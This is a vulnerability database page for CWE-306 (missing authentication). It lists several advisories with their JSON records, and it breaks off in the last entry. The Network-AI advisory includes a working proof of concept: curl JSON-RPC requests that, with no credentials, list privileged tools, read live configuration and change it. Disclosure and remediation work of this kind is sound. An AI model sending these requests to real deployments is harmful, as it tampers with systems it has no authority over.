Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-FHMV-W5HC-62W9

Vulnerability from github – Published: 2026-08-12 09:31 – Updated: 2026-08-12 09:31
VLAI
Details

POS System developed by FitSoft has a Missing Authentication vulnerability. Unauthenticated remote attackers can directly access and operate the system.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-19426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T08:17:17Z",
    "severity": "HIGH"
  },
  "details": "POS System developed by FitSoft has a Missing Authentication vulnerability. Unauthenticated remote attackers can directly access and operate the system.",
  "id": "GHSA-fhmv-w5hc-62w9",
  "modified": "2026-08-12T09:31:23Z",
  "published": "2026-08-12T09:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19426"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-11101-4f85c-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-11100-407c5-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FJ4G-2P96-Q6M3

Vulnerability from github – Published: 2026-05-05 17:25 – Updated: 2026-05-13 14:17
VLAI
Summary
Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls
Details

Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI

Field Value
Project Jovancoding/Network-AI
Repository https://github.com/Jovancoding/Network-AI
Affected commit c344f2053eb0d49395988f803bf92f2a86b2a0d0
Affected tested version 5.1.2
Vulnerability type CWE-306: Missing Authentication for Critical Function
Severity High
Authentication required None
Default network exposure Bind address 0.0.0.0
Reporter validation date 2026-04-21

Summary

The MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.

Affected Code

  • bin/mcp-server.ts:75 — server binds to 0.0.0.0 by default.
  • lib/mcp-transport-sse.ts:155 — handleRPC() dispatches tools/call directly to the provider's call(toolName, toolArgs).
  • lib/mcp-transport-sse.ts:379 — _handlePost() parses the JSON-RPC body and calls this._bridge.handleRPC(rpc) with no auth check.
  • lib/mcp-tools-control.ts:80 — config_get exposes live runtime configuration.
  • lib/mcp-tools-control.ts:197 — agent_list exposes registered agents.
  • lib/mcp-tools-control.ts:231 — config_set mutates runtime configuration in place: this._config[key] = parsed.

Proof of Concept

The PoC was executed against a local Docker build of the affected commit, bound to http://localhost:13001. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC result.content[0].text field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in evidence/.

Step 1 — list exposed tools (unauthenticated)

curl http://localhost:13001/tools

HTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:

  • config_get, config_set — read and mutate live orchestrator configuration
  • agent_list, agent_spawn, agent_stop — enumerate, dispatch, and stop agents
  • token_create, token_revoke — mint and revoke security tokens
  • budget_set_ceiling — adjust the global token budget ceiling
  • fsm_transition — drive finite-state-machine transitions
  • blackboard_write, blackboard_delete — mutate the shared blackboard

Full transcript: evidence/01_get_tools.txt.

Step 2 — read live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "blackboardPath": "./swarm-blackboard.md",
    "maxParallelAgents": null,
    "defaultTimeout": 30000,
    "enableTracing": true,
    "grantTokenTTL": 300000,
    "maxBlackboardValueSize": 1048576,
    "auditLogPath": "./data/audit_log.jsonl",
    "trustConfigPath": "./data/trust_levels.json"
  }
}

Full transcript: evidence/02_config_get_before.txt.

Step 3 — mutate live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_set",
  "data": {
    "key": "defaultTimeout",
    "previous": 30000,
    "current": 12345,
    "applied": true
  }
}

Full transcript: evidence/03_config_set.txt.

Step 4 — confirm mutation persisted (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON (relevant key only):

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "defaultTimeout": 12345
  }
}

This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.

Step 5 — enumerate registered agents (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "agent_list",
  "data": {
    "agents": [],
    "count": 0
  }
}

This is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: evidence/05_agent_list.txt.

Cleanup — runtime state restored

After the PoC, defaultTimeout was restored to 30000 via the same unauthenticated config_set (previous":12345,"current":30000,"applied":true). All testing was performed against a local Docker container only.

Impact

  • Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.
  • An attacker can change runtime configuration (e.g., defaultTimeout, enableTracing), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.
  • The default 0.0.0.0 bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.

Suggested Remediation

  1. Enforce authentication inside _handlePost() before reaching handleRPC(). At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.
  2. Default the bind address to 127.0.0.1. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.
  3. For tool-level defense in depth, gate state-mutating tools (config_set, agent_spawn, agent_stop, token_create, token_revoke, budget_set_ceiling, fsm_transition, blackboard_write, blackboard_delete) behind an explicit authorization check tied to a verified caller identity.

Verification Environment

  • Local Docker container only; no third-party deployment was tested.
  • Local build required a minimal Dockerfile fix; the application code path under test was not modified.
  • Runtime state (defaultTimeout) was restored to default after the PoC.

Attached Evidence

Files in evidence/ are raw curl -i transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.

File Purpose
01_get_tools.txt Step 1 — full GET /tools request and 22-tool inventory response
02_config_get_before.txt Step 2 — full config_get request and live configuration response
03_config_set.txt Step 3 — full config_set request mutating defaultTimeout
04_config_get_after.txt Step 4 — full config_get request showing the mutation persisted
05_agent_list.txt Step 5 — full agent_list request and response
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T17:25:37Z",
    "nvd_published_at": "2026-05-11T18:16:35Z",
    "severity": "HIGH"
  },
  "details": "# Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`\n\n| Field | Value |\n|---|---|\n| Project | `Jovancoding/Network-AI` |\n| Repository | https://github.com/Jovancoding/Network-AI |\n| Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` |\n| Affected tested version | `5.1.2` |\n| Vulnerability type | CWE-306: Missing Authentication for Critical Function |\n| Severity | High |\n| Authentication required | None |\n| Default network exposure | Bind address `0.0.0.0` |\n| Reporter validation date | 2026-04-21 |\n\n## Summary\n\nThe MCP HTTP transport accepts JSON-RPC `tools/call` requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator\u0027s tool registry. The default bind address is `0.0.0.0`. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools \u2014 including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.\n\n## Affected Code\n\n- `bin/mcp-server.ts:75` \u2014 server binds to `0.0.0.0` by default.\n- `lib/mcp-transport-sse.ts:155` \u2014 `handleRPC()` dispatches `tools/call` directly to the provider\u0027s `call(toolName, toolArgs)`.\n- `lib/mcp-transport-sse.ts:379` \u2014 `_handlePost()` parses the JSON-RPC body and calls `this._bridge.handleRPC(rpc)` with no auth check.\n- `lib/mcp-tools-control.ts:80` \u2014 `config_get` exposes live runtime configuration.\n- `lib/mcp-tools-control.ts:197` \u2014 `agent_list` exposes registered agents.\n- `lib/mcp-tools-control.ts:231` \u2014 `config_set` mutates runtime configuration in place: `this._config[key] = parsed`.\n\n## Proof of Concept\n\nThe PoC was executed against a local Docker build of the affected commit, bound to `http://localhost:13001`. **No authentication header was sent.** All inner-JSON excerpts below are decoded from the JSON-RPC `result.content[0].text` field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in `evidence/`.\n\n### Step 1 \u2014 list exposed tools (unauthenticated)\n\n```bash\ncurl http://localhost:13001/tools\n```\n\n`HTTP/1.1 200 OK` \u2014 body returned 22 tools. Privileged tools observed in the inventory include:\n\n- `config_get`, `config_set` \u2014 read and mutate live orchestrator configuration\n- `agent_list`, `agent_spawn`, `agent_stop` \u2014 enumerate, dispatch, and stop agents\n- `token_create`, `token_revoke` \u2014 mint and revoke security tokens\n- `budget_set_ceiling` \u2014 adjust the global token budget ceiling\n- `fsm_transition` \u2014 drive finite-state-machine transitions\n- `blackboard_write`, `blackboard_delete` \u2014 mutate the shared blackboard\n\nFull transcript: `evidence/01_get_tools.txt`.\n\n### Step 2 \u2014 read live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"blackboardPath\": \"./swarm-blackboard.md\",\n    \"maxParallelAgents\": null,\n    \"defaultTimeout\": 30000,\n    \"enableTracing\": true,\n    \"grantTokenTTL\": 300000,\n    \"maxBlackboardValueSize\": 1048576,\n    \"auditLogPath\": \"./data/audit_log.jsonl\",\n    \"trustConfigPath\": \"./data/trust_levels.json\"\n  }\n}\n```\n\nFull transcript: `evidence/02_config_get_before.txt`.\n\n### Step 3 \u2014 mutate live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"config_set\",\"arguments\":{\"key\":\"defaultTimeout\",\"value\":\"12345\"}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_set\",\n  \"data\": {\n    \"key\": \"defaultTimeout\",\n    \"previous\": 30000,\n    \"current\": 12345,\n    \"applied\": true\n  }\n}\n```\n\nFull transcript: `evidence/03_config_set.txt`.\n\n### Step 4 \u2014 confirm mutation persisted (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON (relevant key only):\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"defaultTimeout\": 12345\n  }\n}\n```\n\nThis proves the runtime change applied by step 3 is observable on the next read. Full transcript: `evidence/04_config_get_after.txt`.\n\n### Step 5 \u2014 enumerate registered agents (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":4,\"method\":\"tools/call\",\"params\":{\"name\":\"agent_list\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"agent_list\",\n  \"data\": {\n    \"agents\": [],\n    \"count\": 0\n  }\n}\n```\n\nThis is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: `evidence/05_agent_list.txt`.\n\n### Cleanup \u2014 runtime state restored\n\nAfter the PoC, `defaultTimeout` was restored to `30000` via the same unauthenticated `config_set` (`previous\":12345,\"current\":30000,\"applied\":true`). All testing was performed against a local Docker container only.\n\n## Impact\n\n- Unauthenticated network access enables full enumeration and invocation of the orchestrator\u0027s management functionality.\n- An attacker can change runtime configuration (e.g., `defaultTimeout`, `enableTracing`), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.\n- The default `0.0.0.0` bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.\n\n## Suggested Remediation\n\n1. Enforce authentication inside `_handlePost()` before reaching `handleRPC()`. At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.\n2. Default the bind address to `127.0.0.1`. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.\n3. For tool-level defense in depth, gate state-mutating tools (`config_set`, `agent_spawn`, `agent_stop`, `token_create`, `token_revoke`, `budget_set_ceiling`, `fsm_transition`, `blackboard_write`, `blackboard_delete`) behind an explicit authorization check tied to a verified caller identity.\n\n## Verification Environment\n\n- Local Docker container only; no third-party deployment was tested.\n- Local build required a minimal Dockerfile fix; the application code path under test was not modified.\n- Runtime state (`defaultTimeout`) was restored to default after the PoC.\n\n## Attached Evidence\n\nFiles in `evidence/` are raw `curl -i` transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.\n\n| File | Purpose |\n|---|---|\n|[01_get_tools.txt](https://github.com/user-attachments/files/26950583/01_get_tools.txt) | Step 1 \u2014 full `GET /tools` request and 22-tool inventory response |\n|[02_config_get_before.txt](https://github.com/user-attachments/files/26950584/02_config_get_before.txt) | Step 2 \u2014 full `config_get` request and live configuration response |\n|[03_config_set.txt](https://github.com/user-attachments/files/26950585/03_config_set.txt) | Step 3 \u2014 full `config_set` request mutating `defaultTimeout` |\n|[04_config_get_after.txt](https://github.com/user-attachments/files/26950586/04_config_get_after.txt)| Step 4 \u2014 full `config_get` request showing the mutation persisted |\n| [05_agent_list.txt](https://github.com/user-attachments/files/26950587/05_agent_list.txt) | Step 5 \u2014 full `agent_list` request and response |",
  "id": "GHSA-fj4g-2p96-q6m3",
  "modified": "2026-05-13T14:17:54Z",
  "published": "2026-05-05T17:25:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42856"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls"
}

GHSA-FJ8G-7F3J-G879

Vulnerability from github – Published: 2024-10-14 18:30 – Updated: 2024-10-15 18:30
VLAI
Details

An issue in Plug n Play Camera com.starvedia.mCamView.zwave 5.5.1 allows a remote attacker to obtain sensitive information via the firmware update process

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-48791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-14T18:15:05Z",
    "severity": "HIGH"
  },
  "details": "An issue in Plug n Play Camera com.starvedia.mCamView.zwave 5.5.1 allows a remote attacker to obtain sensitive information via the firmware update process",
  "id": "GHSA-fj8g-7f3j-g879",
  "modified": "2024-10-15T18:30:49Z",
  "published": "2024-10-14T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48791"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HankJames/Vul-Reports/blob/main/FirmwareLeakage/com.starvedia.mCamView.zwave/com.starvedia.mCamView.zwave.md"
    },
    {
      "type": "WEB",
      "url": "http://www.starvedia.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJCG-2RQH-MPJ3

Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-04-04 08:54
VLAI
Details

Missing authentication in the DeleteStaff method in IDAttend’s IDWeb application 3.1.013 allows deletion of staff information by unauthenticated attackers.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-26579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-25T18:17:25Z",
    "severity": "MODERATE"
  },
  "details": "Missing authentication in the DeleteStaff method in IDAttend\u2019s IDWeb application 3.1.013 allows deletion of staff information by unauthenticated attackers.  ",
  "id": "GHSA-fjcg-2rqh-mpj3",
  "modified": "2024-04-04T08:54:12Z",
  "published": "2023-10-25T18:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26579"
    },
    {
      "type": "WEB",
      "url": "https://www.themissinglink.com.au/security-advisories/cve-2023-26579"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJFV-5899-QH94

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2022-12-06 21:30
VLAI
Details

IBM Robotic Process Automation with Automation Anywhere 11 could allow an attacker to obtain sensitive information due to missing authentication in Ignite nodes. IBM X-Force ID: 161412.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-4337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-01T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Robotic Process Automation with Automation Anywhere 11 could allow an attacker to obtain sensitive information due to missing authentication in Ignite nodes. IBM X-Force ID: 161412.",
  "id": "GHSA-fjfv-5899-qh94",
  "modified": "2022-12-06T21:30:44Z",
  "published": "2022-05-24T16:49:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4337"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/161412"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=ibm10884850"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJH6-8679-9PCH

Vulnerability from github – Published: 2025-11-14 20:57 – Updated: 2025-11-14 20:57
VLAI
Summary
Flowise does not Prevent Bypass of Password Confirmation - Unverified Password Change
Details

Summary

Bypass of Password Confirmation - Unverified Password Change (authenticated change without current password)

An authenticated user is allowed to change their account password without supplying the current password or any additional verification. The application does not verify the actor’s authority to perform that credential change (no current-password check, no authorization enforcement). An attacker who is merely authenticated (or who can trick or coerce an authenticated session) can set a new password and gain control of the account. (ATO - Account Takeover)

Details

Occurence - code: https://github.com/FlowiseAI/Flowise/blob/main/packages/ui/src/views/account/index.jsx#L278

Remote and physical scenarios can be considered.

PoC

Repro steps: 1. As logged in user https://cloud.flowiseai.com/account scroll down to 'Security' section 2. Change password to the new password 3. Notice Unverified Password Change (authenticated change without current password)

POC: Password changed, and notice "Password updated" message.

Screenshot: secpw

Impact

Full account takeover (ATO) of affected accounts (loss of confidentiality and integrity of account data). User account recovery mechanisms (password reset flows tied to email) can be bypassed or abused if combined with this issue and the second one which I've reported (similar security issue with the email - part of credentials). (gain persistence)

Severity
8.3 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-620"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-14T20:57:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nBypass of Password Confirmation - Unverified Password Change (authenticated change without current password)\n\nAn authenticated user is allowed to change their account password without supplying the current password or any additional verification. The application does not verify the actor\u2019s authority to perform that credential change (no current-password check, no authorization enforcement). An attacker who is merely authenticated (or who can trick or coerce an authenticated session) can set a new password and gain control of the account. (ATO - Account Takeover)\n\n### Details\nOccurence - code:\nhttps://github.com/FlowiseAI/Flowise/blob/main/packages/ui/src/views/account/index.jsx#L278 \n\nRemote and physical scenarios can be considered.\n\n### PoC\n**Repro steps:**\n1. As logged in user https://cloud.flowiseai.com/account scroll down to \u0027Security\u0027 section\n2. Change password to the new password\n3. Notice Unverified Password Change (authenticated change without current password)\n\n**POC:** \nPassword changed, and notice \"Password updated\" message.\n\n**Screenshot:**\n\u003cimg width=\"467\" height=\"526\" alt=\"secpw\" src=\"https://github.com/user-attachments/assets/4cc52978-9f37-42ca-a2b2-7285c4da9f1c\" /\u003e\n\n\n### Impact\nFull account takeover (ATO) of affected accounts (loss of confidentiality and integrity of account data).\nUser account recovery mechanisms (password reset flows tied to email) can be bypassed or abused if combined with this issue and the second one which I\u0027ve reported (similar security issue with the email - part of credentials). (gain persistence)",
  "id": "GHSA-fjh6-8679-9pch",
  "modified": "2025-11-14T20:57:31Z",
  "published": "2025-11-14T20:57:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-fjh6-8679-9pch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/5294"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise does not Prevent Bypass of Password Confirmation - Unverified Password Change"
}

GHSA-FJWP-V5XG-5Q39

Vulnerability from github – Published: 2026-09-10 06:31 – Updated: 2026-09-10 18:31
VLAI
Details

An unauthenticated network-adjacent attacker can leverage discovery to capture cluster administrative credentials during the initial cluster connection handshake.

This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0.

Users are recommended to upgrade to version 2.57.0, which fixes the issue.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-49364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T05:17:01Z",
    "severity": "CRITICAL"
  },
  "details": "An unauthenticated network-adjacent attacker can leverage discovery to capture cluster administrative credentials during the initial cluster connection handshake.\n\nThis issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0.\n\n\n\nUsers are recommended to upgrade to version 2.57.0, which fixes the issue.",
  "id": "GHSA-fjwp-v5xg-5q39",
  "modified": "2026-09-10T18:31:39Z",
  "published": "2026-09-10T06:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49364"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/4qbgcz3k38q30bfbf7hphtomrdc8l8n8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/10/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJXG-9RFG-9WPW

Vulnerability from github – Published: 2026-08-18 21:31 – Updated: 2026-08-18 21:31
VLAI
Details

Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Composer). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via RMI to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-60731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T21:16:41Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Composer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via RMI to compromise Oracle WebCenter Portal.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-fjxg-9rfg-9wpw",
  "modified": "2026-08-18T21:31:58Z",
  "published": "2026-08-18T21:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60731"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FM4M-HVPH-44CW

Vulnerability from github – Published: 2022-05-25 00:00 – Updated: 2022-06-22 00:00
VLAI
Details

The POWER systems FSP is vulnerable to unauthenticated logins through the serial port/TTY interface. This vulnerability can be more critical if the serial port is connected to a serial-over-lan device. IBM X-Force ID: 217095.

Severity
6.8 (Medium)
